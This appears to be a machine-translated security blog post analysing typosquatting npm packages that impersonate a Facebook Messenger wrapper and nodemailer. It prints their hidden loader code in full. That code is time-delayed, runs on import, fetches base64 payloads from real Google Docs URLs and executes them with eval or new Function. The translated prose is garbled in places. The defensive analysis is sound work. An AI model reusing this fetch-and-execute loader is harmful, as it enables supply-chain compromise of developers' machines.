2025年3月14日、私たちはnpm上で悪意のあるパッケージを検出しました。 node-facebook-messenger-api と呼ばれる。
.当初は、ありふれたマルウェアのように思えましたが、最終的な目的は何なのかは分かりませんでした。2025年4月3日に同じ脅威者が攻撃を拡大しているのを見るまで、私たちはそれ以上のことを考えませんでした。これは、この特定の攻撃者が使用したテクニックの簡単な概要であり、難読化の試みが実際にどのように彼らをさらに明白にすることに終わるかについての楽しい観察でもある。
TLDR
node-facebook-messenger-api@4.1.0
合法的なFacebookメッセンジャーのラッパーに偽装している。アクシオス
そして eval()
Googleドキュメントのリンクからペイロードを取り出そうとしたが、ファイルは空だった。zx
ライブラリに悪意のあるロジックを埋め込み、公開から数日後にトリガーすることで、検知を回避している。node-smtp-mailer@6.10.0
なりすまし ノードメーラー
同じC2ロジックと難読化で。ハイパー・タイプ
)、明らかになった。 シグネチャーパターン 攻撃とリンクしている。
はじめの一歩
すべては3月14日04:37(UTC)に、我々のシステムが不審なパッケージを警告したことから始まった。それはユーザー ビクター・ベン0825
という名前も主張している。 パースワールド
.を所有するユーザーのユーザー名です。 正規リポジトリ このライブラリーのために。

以下は、悪意あるコードとして検出されたものである。 node-facebook-messenger-api@4.1.0:
ファイル内の メッセンジャー
ライン 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
攻撃者はこのコードを769行の長いファイルに隠そうとしている。ここで彼らは関数を追加し、それを直接呼び出している。とてもかわいらしいが、とてもわかりやすい。ペイロードをフェッチしようとしたが、空だった。マルウェアとしてフラグを立て、次に進んだ。
数分後、攻撃者は別のバージョン4.1.1をプッシュした。唯一の変更は README.md
そして package.json
ファイルのバージョン、説明、インストール手順を変更した。私たちはこの作者を悪い作者としてマークしているため、この時点以降のパッケージは自動的にマルウェアとしてフラグが立てられました。
卑屈になろうとする
その後、3月20日16:29 UTCに、我々のシステムは自動的にバージョンにフラグを立てた。 4.1.2
パッケージのそこで何が新しくなったかを見てみよう。最初の変更は node-Facebook-messenger-api.js、
を含んでいる:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
このファイルの変更点は最後の行だ。単に メッセンジャー
ファイルが要求されたとき、それはモジュールがインポートされたときに常に実行されるようになりました。賢い!もう一つの変更は、そのファイルである、 messenger.js。
以前見られた追加コードは削除され、197行目から219行目にかけて以下のように追加されている:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
以下はその概要である:
- 悪意のあるコードを起動させるかどうかは、時間ベースのチェックを利用する。それは約4日後にのみ有効化される。
- を使う代わりに
アクシオス
現在はグーグルを使用している。zx
ライブラリを使用して悪意のあるペイロードを取得する。 - これは冗長モードを無効にするもので、デフォルトでもある。
- そして、悪意のあるコードを取得する。
- それをbase64デコードする
- を使用して新しいファンクションを作成します。
関数()
のコンストラクタと実質的に同等である。eval()
コール。 - そして、次のように関数を呼び出します。
必要
を引数に取る。
しかし、ファイルをフェッチしようとしても、ペイロードは得られない。ただ info.txt.
を使用する。 zx
が気になる。依存関係を調べたところ、元のパッケージにはいくつかの依存関係が含まれていることに気づいた:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
そして悪意のあるパッケージには以下のものが含まれている:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
見てごらん、依存性のハイパータイプが追加されている。とても興味深いので、あと何回かこの話をするつもりだ。
彼らはまた襲ってきた!
そして2025年4月3日06:46、新しいパッケージがユーザーによってリリースされた。 クリスター
を発表した。 エパッケージ
node-smtp-mailer@6.10.0。
私たちのシステムは、悪意のあるコードが含まれている可能性があるとして、自動的にフラグを立てました。私たちはそれを見て、少し興奮しました。パッケージは nodemailer、
名前が違うだけだ。

私たちのシステムはファイルにフラグを立てた lib/smtp-pool/index.js.
攻撃者は正規のファイルの一番下、最後の モジュールエクスポート
.以下が追加された内容である:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
我々はこのコードを知っている!4日後に実行されるようタイムスタンプが押されている。わくわくしながらペイロードをフェッチしようとするが、ただ空のファイル beginner.txt。
ブー!依存関係をもう一度見てみよう。 zx
.我々は、その正当性を指摘した。 ノードメーラー
パッケージには いいえ ダイレクト 依存関係
だけである。 devDependencies
.しかし、悪質なパッケージの中身はこうだ:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
このパッケージと、最初に検出したパッケージの間に類似点があるのがわかりますか?同じ依存関係リストです。正規のパッケージには依存関係がありませんが、悪意のあるパッケージには依存関係があります。攻撃者は、最初の攻撃からこの攻撃まで、依存関係の完全なリストをコピーしただけです。
興味深い依存関係
では、なぜ彼らはこれまで使っていた アクシオス
への zx
を作る HTTP
リクエスト?間違いなく発覚を避けるためだ。しかし、興味深いのは zx
は直接の依存関係ではない。その代わりに、攻撃者は開発者lukasbachによる正当なパッケージであるhyper-typesをインクルードしている。

参照したリポジトリがもう存在しないという事実のほかに、ここで注目すべき興味深いことがある。2つの 扶養家族
?誰だと思う?

もし攻撃者が実際に自分の活動を難読化しようとしていたのなら、自分だけが依存するパッケージに依存するのはかなり間抜けなことだ。
最後の言葉
これらの npm パッケージの背後にいる攻撃者は、最終的に動作するペイロードを提供することはできませんでしたが、彼らのキャンペーンは、JavaScript エコシステムを標的としたサプライチェーンの脅威の進行中の進化を強調しています。遅延実行、間接的なインポート、依存関係ハイジャックの使用は、検知メカニズムに対する意識の高まりと実験への意欲を示している。しかし、それはまた、いかにずさんな運用セキュリティと繰り返されるパターンが、依然として彼らに気づかせてしまう可能性があるかを示している。防御側としては、失敗した攻撃でさえも貴重なインテリジェンスであることを思い知らされる。すべてのアーティファクト、難読化のトリック、再利用される依存関係は、私たちがより優れた検知能力とアトリビューション能力を構築するのに役立ちます。そして最も重要なことは、継続的な監視と公開パッケージレジストリの自動化されたフラグ付けが、もはやオプションではなく、非常に重要である理由を補強することだ。